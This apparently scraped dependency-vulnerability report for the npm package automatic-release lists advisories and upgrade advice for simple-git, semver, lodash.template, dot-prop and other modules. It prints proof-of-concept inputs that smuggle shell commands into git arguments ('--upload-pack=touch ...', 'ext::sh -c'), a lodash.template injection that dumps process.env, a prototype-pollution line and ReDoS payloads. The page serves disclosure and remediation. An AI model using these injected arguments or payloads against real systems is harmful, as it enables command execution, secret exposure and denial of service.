Find, fix and prevent vulnerabilities in your code.
high severity
- Vulnerable module: simple-git
- Introduced through: simple-git@1.96.0
Detailed paths
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › simple-git@1.96.0Remediation: Upgrade to simple-git@3.3.0.
Overview
simple-git is a light weight interface for running git commands in any node.js application.
Affected versions of this package are vulnerable to Command Injection via argument injection. When calling the .fetch(remote, branch, handlerFn)
function, both the remote
and branch
parameters are passed to the git fetch
subcommand. By injecting some git options it was possible to get arbitrary command execution.
PoC
// npm i simple-git
const simpleGit = require('simple-git');
const git = simpleGit();
let callback = () => {};
git.init(); // or git init
let origin1 = 'origin';
let ref1 = "--upload-pack=touch ./HELLO1;";
git.fetch(origin1, ref1, callback); // git [ 'fetch', 'origin', '--upload-pack=touch ./HELLO1;' ]
let origin2 = "--upload-pack=touch ./HELLO2;";
let ref2 = "foo";
git.fetch(origin2, ref2, callback); // git [ 'fetch', '--upload-pack=touch ./HELLO2;', 'foo' ]
let origin3 = 'origin';
let ref3 = "--upload-pack=touch ./HELLO3;";
git.fetch(origin3, ref3, { '--depth': '2' }, callback); // git [ 'fetch', '--depth=2', 'origin', '--upload-pack=touch ./HELLO3;' ]
// ls -la
Remediation
Upgrade simple-git
to version 3.3.0 or higher.
References
high severity
- Vulnerable module: simple-git
- Introduced through: simple-git@1.96.0
Detailed paths
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › simple-git@1.96.0Remediation: Upgrade to simple-git@3.5.0.
Overview
simple-git is a light weight interface for running git commands in any node.js application.
Affected versions of this package are vulnerable to Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') due to an incomplete fix of CVE-2022-24433 which only patches against the git fetch
attack vector.
A similar use of the --upload-pack
feature of git is also supported for git clone, which the prior fix didn't cover.
PoC
const simpleGit = require('simple-git')
const git2 = simpleGit()
git2.clone('file:///tmp/zero123', '/tmp/example-new-repo', ['--upload-pack=touch /tmp/pwn']);
Remediation
Upgrade simple-git
to version 3.5.0 or higher.
References
high severity
- Vulnerable module: simple-git
- Introduced through: simple-git@1.96.0
Detailed paths
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › simple-git@1.96.0Remediation: Upgrade to simple-git@3.15.0.
Overview
simple-git is a light weight interface for running git commands in any node.js application.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) when enabling the ext
transport protocol, which makes it exploitable via clone()
method.
This vulnerability exists due to an incomplete fix of CVE-2022-24066.
PoC
const simpleGit = require('simple-git')
const git2 = simpleGit()
git2.clone('ext::sh -c touch% /tmp/pwn% >&2', '/tmp/example-new-repo', ["-c", "protocol.ext.allow=always"]);
Remediation
Upgrade simple-git
to version 3.15.0 or higher.
References
high severity
- Vulnerable module: simple-git
- Introduced through: simple-git@1.96.0
Detailed paths
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › simple-git@1.96.0Remediation: Upgrade to simple-git@3.16.0.
Overview
simple-git is a light weight interface for running git commands in any node.js application.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) via the clone()
, pull()
, push()
and listRemote()
methods, due to improper input sanitization.
This vulnerability exists due to an incomplete fix of CVE-2022-25912.
PoC
const simpleGit = require('simple-git');
let git = simpleGit();
git.clone('-u touch /tmp/pwn', 'file:///tmp/zero12');
git.pull('--upload-pack=touch /tmp/pwn0', 'master');
git.push('--receive-pack=touch /tmp/pwn1', 'master');
git.listRemote(['--upload-pack=touch /tmp/pwn2', 'main']);
Remediation
Upgrade simple-git
to version 3.16.0 or higher.
References
high severity
- Vulnerable module: semver
- Introduced through: semver@5.5.1
Detailed paths
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › semver@5.5.1Remediation: Upgrade to semver@5.7.2.
Overview
semver is a semantic version parser used by npm.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range
, when untrusted user data is provided as a range.
PoC
const semver = require('semver')
const lengths_2 = [2000, 4000, 8000, 16000, 32000, 64000, 128000]
console.log("n[+] Valid range - Test payloads")
for (let i = 0; i =1.2.3' + ' '.repeat(lengths_2[i]) + '<1.3.0';
const start = Date.now()
semver.validRange(value)
// semver.minVersion(value)
// semver.maxSatisfying(["1.2.3"], value)
// semver.minSatisfying(["1.2.3"], value)
// new semver.Range(value, {})
const end = Date.now();
console.log('length=%d, time=%d ms', value.length, end - start);
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade semver
to version 5.7.2, 6.3.1, 7.5.2 or higher.
References
high severity
- Vulnerable module: semver-regex
- Introduced through: conventional-github-releaser@2.0.2
Detailed paths
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-github-releaser@2.0.2 › semver-regex@1.0.0
Overview
semver-regex is a Regular expression for matching semver versions
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). This can occur when running the regex on untrusted user input in a server context.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade semver-regex
to version 4.0.1, 3.1.3 or higher.
References
high severity
- Vulnerable module: semver-regex
- Introduced through: conventional-github-releaser@2.0.2
Detailed paths
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-github-releaser@2.0.2 › semver-regex@1.0.0
Overview
semver-regex is a Regular expression for matching semver versions
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). semverRegex
function contains a regex that allows exponential backtracking.
PoC
import semverRegex from 'semver-regex';
// The following payload would take excessive CPU cycles
var payload = '0.0.0-0' + '.-------'.repeat(100000) + '@';
semverRegex().test(payload);
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade semver-regex
to version 3.1.3 or higher.
References
high severity
- Vulnerable module: trim-newlines
- Introduced through: github-remove-all-releases@1.0.1, conventional-changelog@2.0.3 and others
Detailed paths
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › github-remove-all-releases@1.0.1 › meow@3.7.0 › trim-newlines@1.0.0
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-changelog@2.0.3 › conventional-changelog-core@3.2.3 › get-pkg-repo@1.4.0 › meow@3.7.0 › trim-newlines@1.0.0Remediation: Upgrade to conventional-changelog@3.1.10.
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-github-releaser@2.0.2 › conventional-changelog@1.1.24 › conventional-changelog-core@2.0.11 › get-pkg-repo@1.4.0 › meow@3.7.0 › trim-newlines@1.0.0
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-github-releaser@2.0.2 › meow@4.0.1 › trim-newlines@2.0.0Remediation: Upgrade to conventional-github-releaser@3.1.4.
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-recommended-bump@4.0.4 › meow@4.0.1 › trim-newlines@2.0.0Remediation: Upgrade to conventional-recommended-bump@6.0.9.
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-recommended-bump@4.0.4 › git-raw-commits@2.0.0 › meow@4.0.1 › trim-newlines@2.0.0Remediation: Upgrade to conventional-recommended-bump@6.0.12.
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-recommended-bump@4.0.4 › git-semver-tags@2.0.3 › meow@4.0.1 › trim-newlines@2.0.0Remediation: Upgrade to conventional-recommended-bump@6.0.9.
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-github-releaser@2.0.2 › git-semver-tags@1.3.6 › meow@4.0.1 › trim-newlines@2.0.0
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-changelog@2.0.3 › conventional-changelog-core@3.2.3 › git-raw-commits@2.0.0 › meow@4.0.1 › trim-newlines@2.0.0Remediation: Upgrade to conventional-changelog@3.1.10.
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-changelog@2.0.3 › conventional-changelog-core@3.2.3 › git-semver-tags@2.0.3 › meow@4.0.1 › trim-newlines@2.0.0Remediation: Upgrade to conventional-changelog@3.1.10.
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-github-releaser@2.0.2 › conventional-changelog@1.1.24 › conventional-changelog-core@2.0.11 › conventional-changelog-writer@3.0.9 › meow@4.0.1 › trim-newlines@2.0.0Remediation: Upgrade to conventional-github-releaser@3.1.2.
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-github-releaser@2.0.2 › conventional-changelog@1.1.24 › conventional-changelog-core@2.0.11 › conventional-commits-parser@2.1.7 › meow@4.0.1 › trim-newlines@2.0.0Remediation: Upgrade to conventional-github-releaser@3.1.2.
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-github-releaser@2.0.2 › conventional-changelog@1.1.24 › conventional-changelog-core@2.0.11 › git-raw-commits@1.3.6 › meow@4.0.1 › trim-newlines@2.0.0Remediation: Upgrade to conventional-github-releaser@3.1.2.
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-github-releaser@2.0.2 › conventional-changelog@1.1.24 › conventional-changelog-core@2.0.11 › git-semver-tags@1.3.6 › meow@4.0.1 › trim-newlines@2.0.0
Overview
trim-newlines is a Trim newlines from the start and/or end of a string
Affected versions of this package are vulnerable to Denial of Service (DoS) via the end()
method.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade trim-newlines
to version 3.0.1, 4.0.1 or higher.
References
high severity
- Vulnerable module: lodash.template
- Introduced through: conventional-recommended-bump@4.0.4, conventional-changelog@2.0.3 and others
Detailed paths
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-recommended-bump@4.0.4 › git-raw-commits@2.0.0 › lodash.template@4.5.0
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-changelog@2.0.3 › conventional-changelog-core@3.2.3 › git-raw-commits@2.0.0 › lodash.template@4.5.0
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-github-releaser@2.0.2 › conventional-changelog@1.1.24 › conventional-changelog-core@2.0.11 › git-raw-commits@1.3.6 › lodash.template@4.5.0
Overview
lodash.template is a The Lodash method _.template exported as a Node.js module.
Affected versions of this package are vulnerable to Command Injection via template
.
PoC
var _ = require('lodash');
_.template('', { variable: '){console.log(process.env)}; with(obj' })()
Remediation
There is no fixed version for lodash.template
.
References
medium severity
- Vulnerable module: dot-prop
- Introduced through: conventional-changelog@2.0.3 and conventional-github-releaser@2.0.2
Detailed paths
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-changelog@2.0.3 › conventional-changelog-angular@1.6.6 › compare-func@1.3.4 › dot-prop@3.0.0Remediation: Upgrade to conventional-changelog@3.0.1.
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-github-releaser@2.0.2 › conventional-changelog@1.1.24 › conventional-changelog-angular@1.6.6 › compare-func@1.3.4 › dot-prop@3.0.0
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-github-releaser@2.0.2 › conventional-changelog@1.1.24 › conventional-changelog-jshint@0.3.8 › compare-func@1.3.4 › dot-prop@3.0.0Remediation: Upgrade to conventional-github-releaser@3.1.2.
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-github-releaser@2.0.2 › conventional-changelog@1.1.24 › conventional-changelog-core@2.0.11 › conventional-changelog-writer@3.0.9 › compare-func@1.3.4 › dot-prop@3.0.0Remediation: Upgrade to conventional-github-releaser@3.1.2.
Overview
dot-prop is a package to get, set, or delete a property from a nested object using a dot path.
Affected versions of this package are vulnerable to Prototype Pollution. It is possible for a user to modify the prototype of a base object.
PoC by aaron_costello
var dotProp = require("dot-prop")
const object = {};
console.log("Before " + object.b); //Undefined
dotProp.set(object, '__proto__.b', true);
console.log("After " + {}.b); //true
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade dot-prop
to version 4.2.1, 5.1.1 or higher.
References
medium severity
- Vulnerable module: got
- Introduced through: conventional-github-releaser@2.0.2
Detailed paths
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-github-releaser@2.0.2 › gh-got@6.0.0 › got@7.1.0
Overview
Affected versions of this package are vulnerable to Open Redirect due to missing verification of requested URLs. It allowed a victim to be redirected to a UNIX socket.
Remediation
Upgrade got
to version 11.8.5, 12.1.0 or higher.
References
medium severity
- Vulnerable module: conventional-commits-parser
- Introduced through: conventional-github-releaser@2.0.2
Detailed paths
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-github-releaser@2.0.2 › conventional-changelog@1.1.24 › conventional-changelog-core@2.0.11 › conventional-commits-parser@2.1.7Remediation: Upgrade to conventional-github-releaser@3.1.2.
Overview
conventional-commits-parser is a Parse raw conventional commits
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to missing sanitization.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade conventional-commits-parser
to version 3.2.3 or higher.
References
medium severity
- Vulnerable module: semver-regex
- Introduced through: conventional-github-releaser@2.0.2
Detailed paths
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-github-releaser@2.0.2 › semver-regex@1.0.0
Overview
semver-regex is a Regular expression for matching semver versions
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper usage of regex in the semverRegex()
function.
PoC
'0.0.1-' + '-.--'.repeat(i) + ' '
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
